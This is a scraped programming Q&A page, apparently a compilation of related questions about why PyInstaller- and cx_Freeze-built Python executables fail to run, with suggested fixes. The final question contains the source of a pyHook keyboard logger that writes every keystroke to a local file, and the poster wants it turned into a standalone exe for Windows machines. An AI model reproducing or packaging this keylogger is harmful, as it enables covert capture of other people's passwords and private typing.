PYINSTALLER exe not executing - blank terminal closes in 10 seconds - python-3.x

I am trying to make a small Python app to share with non-developers to help automate a small task.
The problem is that the .exe gets generated, and throws a mkl_intel_thread.1.dll issue. I then found the .dll and pasted it in the same folder as the .exe. Now the .exe runs without error, but closes without doing anything.
The python script runs fine and prints these when run separately (as a python file).
I read a lot on similar issues and did try many things, but nothing seems to work. Could anyone help me out, please?
Python code (prints pandas version, and then reads a file to print the number of records) :
I have some additional imports as I want to test their dependency for the actual program where they are used.
import requests
from glob import glob
from bs4 import BeautifulSoup
import pandas as pd
from datetime import datetime
from time import sleep
def View_model():
print(pd.__version__)
sleep(10)
data = pd.read_csv('test_data.csv', sep=';')
data_cnt = len(data)
print("Total records : ", data_cnt)
sleep(10)
if __name__ == "__main__" :
print("started")
View_model()
print("completed")
sleep(10)
Pyinstaller .exe generation command(s) :
pyinstaller -F --hidden-import 'numpy' --hidden-import 'requests' --hidden-import 'glob' --hidden-import 'bs4' --hidden-import 'pandas' --hidden-import 'datetime' --hidden-import 'time' --add-data "test_data.csv;." check1.py
Am I doing something wrong in the process, or is it something non-obvious that is going wrong?
Appreciate any help/leads. Note that I have the .dll file in the same folder as the .exe (see below)
I am using Miniconda (conda 4.10.3) & have Python 3.9.7

Related

Python to EXE - PySide2 and Custom Modules

I'm trying to create an EXE from a Python project I built and I'm running into some issues. I've done this before with PyInstaller for simpler tools and cx-freeze for tools where I use custom modules but the way I used to set it up doesn't seem to be working anymore.
In this particular case I've tried:
cx-freeze==6.10
pyinstaller==4.10
py2exe==0.11.1.0
auto-py-to-exe==2.18.0
and a few others with no luck
Everything works perfectly fine through the Python 3.8 interpreter. I'm assuming it's either because of the way I'm importing PySide2 here (which I don't normally do but did for this project to see if it would speed up my programming time) or that the EXE modules can't find my custom modules. Here is a mock version of my program (names/paths changed for simplicity):
Example folder of my project ("C:\a\MyProjects\Project1"):
Example folder of the custom module I'm using. Each using various other built-in and/or 3rd party python modules. ("C:\a\path\to\external\modules"):
Example of my main file (C:\a\MyProjects\Project1\ui.py) I want to turn into an EXE:
import os
import sys
import colorsys
from PySide2.QtWidgets import *
from PySide2.QtCore import *
from PySide2.QtGui import *
import utils # module in project ("C:\a\MyProjects\Project1\utils.py")
sys.path.append(r"C:\a\path\to\external\modules") # custom module location for MyModule
from MyModule.foo import module1 as foo_mod1
from MyModule.foo import module2 as foo_mod2
from MyModule.bar import module1 as bar_mod1
from MyModule.bar import module2 as bar_mod2
from MyModule.baz import module1 as baz_mod1
from MyModule.baz import module2 as baz_mod2
class MainDialog(QDialog):
[...code...]
[...use of "dark.stylesheet"...]
[...use of "images\image 1.png"...]
[...use of "images\image 2.png"...]
def main():
global win
try: # try to close existing instances
win.close()
except NameError:
pass
win = MainDialog()
win.show()
if __name__ == "__main__":
app = QApplication.instance()
if not app:
app = QApplication(sys.argv)
main()
sys.exit(app.exec_())
Can someone tell me the best module and method to make this into a windowed (console-less), if possible, single file application. This is one of the more complicated tools I've had to make into a desktop app so if I can figure this out I should be good for most of the other things I have to do.
Thanks in advance.
EDIT:
Example of cx-freeze setup.py file in project I tried (C:\a\MyProjects\Project1\setup.py):
from cx_Freeze import setup, Executable
import sys
setup(
name="MyProject",
version="1.0",
options={'build_exe': {
'excludes': ["Tkinter"],
'includes': ["utils", "MyModule.foo", "MyModule.bar", "MyModule.baz"],
'path': sys.path + [r"C:\a\path\to\external\modules"],
'include_files': ["images\image 1.png", "images\image 2.png"],
'packages': ["PySide2.QtWidgets", "PySide2.QtCore", "PySide2.QtGui"]}},
executables=[Executable("ui.py", base="Win32GUI")]
Example of pyinstaller cmd command I tried:
cd C:\\a\MyProjects\Project1
pyinstaller -p "C:\a\path\to\external\modules" --onefile -w ui.py
# even tried this with a custom spec file like:
# pyinstaller --onefile -w ui.spec
There is a command in PyInstaller to include hidden modules call --hidden-module (You can use multile times). So, you can just do
pyinstaller -p "C:\a\path\to\external\modules" --onefile -w --hidden-module="example module 1" -hidden-module="example module 2" ui.py
This seems to have fixed itself after I got a new workstation and installed the latest Python (3.10) and Pyinstaller (5.1) versions.
Also think having your custom Python Libraries in the PYTHONPATH and/or PATH Environment variables may be important for allowing Pyinstaller to find them.

Can't open Pyinstaller's output file

SOLUTION:
The main issue was occurring due to ImageTk , this can be skipped by loading image using tkinter instead of PIL.ImageTk by using this command and using this object as normal you would do with PIL.ImageTk.
my_image = PhotoImage(file ="Image location here")
MAIN ISSUE:
I'm trying to pack these files into a single executable file using pyinstaller, but after compilation, the executable file doesn't run, don't know where the error is, files in the given link, and installation log in pictures
Command Used:
pyinstaller --onefile ui.py
Where ui.py is my driver script
Files:
https://github.com/RoyalEagle73/NIT-JSR-Result-Leecher/tree/master/GUI%20%2B%20Source%20v2.0/Source
Build Log( Images ):
What I've already tried
tried Cx_Freeze as an alternative but no application seems to open the output file.
here is what I'm importing overall in the whole program
from tkinter import *
from PIL import ImageTk, Image
import fb
from tkinter.ttk import Progressbar
import webbrowser
from tkinter import messagebox
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import re
from bs4 import BeautifulSoup
import time
I was not able to access the github link in your question, I think it did not get pasted properly. So I am unable to access your source files.
Try one of these:
pyinstaller --onefile --noupx ui.py
or
pyinstaller --debug --onefile --noupx ui.py
The pyinstaller uses UPX. The documentation for pyinstaller states the following:
PyInstaller looks for UPX on the execution path or the path specified
with the --upx-dir option. If UPX exists, PyInstaller applies it to
the final executable, unless the --noupx option was given. UPX has
been used with PyInstaller output often, usually with no problems.
Hope this helps.

Pyinstaller: fatal error, failed to execute script

This is a recurring theme, distributing python code seams to be a non-ending issue (I have checked all related answers I could find on SO regarding this).
I have a script containing the following imports:
import tkinter as tk
from tkinter import *
from tkinter import messagebox as mbox
import pandas as pd
import time
import os
import glob
import base64
import matplotlib.pyplot as plt
from PIL import ImageTk, Image
plt.style.use('bmh')
It's basically a GUI containing several buttons (each launching a function that reads from a pandas data frame and shows a graph via a Matplotlib plot) and also a label with a logo.
I've tried my usual tweaking with pyinstaller (and also with and without the label image:
Simple (one file and without):
pyinstaller -F -w --noconsole -i icon.ico Script.py
Complex:
pyinstaller -F -w --noconsole --noupx -p C:\Users\USER\AppData\Local\Continuum\Anaconda3\Lib\site-packages --hiddenimport pandas --hiddenimport matplotlib --hiddenimport PIL --add-data "image.png;image.png" -i Fuji.ico --log-level=DEBUG Script.py
And every variation in between.
I have removed from Pyinstaller/loader/rthooks.dat the line 'PyQt4': ['pyi_rth_qt4plugins.py'] which is know to cause some issues.
I get the same error again and again:
Versions:
Pyinstaller 3.3.1 (/!\ Edit: I tried also with the dev version, same result)
Python 3.5.3
The results from the warn file in debug mode: https://pastebin.com/na0W4TGS
Does anyone have an idea on how to solve this?
I solved the issue by pasting the label image to the .exe folder and also the platforms folder from:
C:\'Users\USER\AppData\Local\Continuum\Anaconda3\Library\plugins

Python Setup gets IndexError?

I am trying to create a .exe file from my Python file. My setup file contains the following code (which was generated using the PyBuilder application):
# setup.py
from distutils.core import setup
import py2exe
import sys
sys.stdout = open('screen.txt','w')
sys.stderr = open('errors.txt','w')
setup(name='Crypto Calculator',
version='1.0',
author='RedCode',
data_files=[],
windows=[{'script':'Crypto Calculator.py',
'icon_resources':[(1,'')],
}])
print("---Done---")
When I run the command pyinstaller setup.pyw I get the IndexError: tuple out of range error. When I try running the pyinstaller command on my actual application's file, it still gives me the same error.
How can I correct this problem and successfully create a Python exe file.

cx_Freeze program created from python won't run

I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.

Resources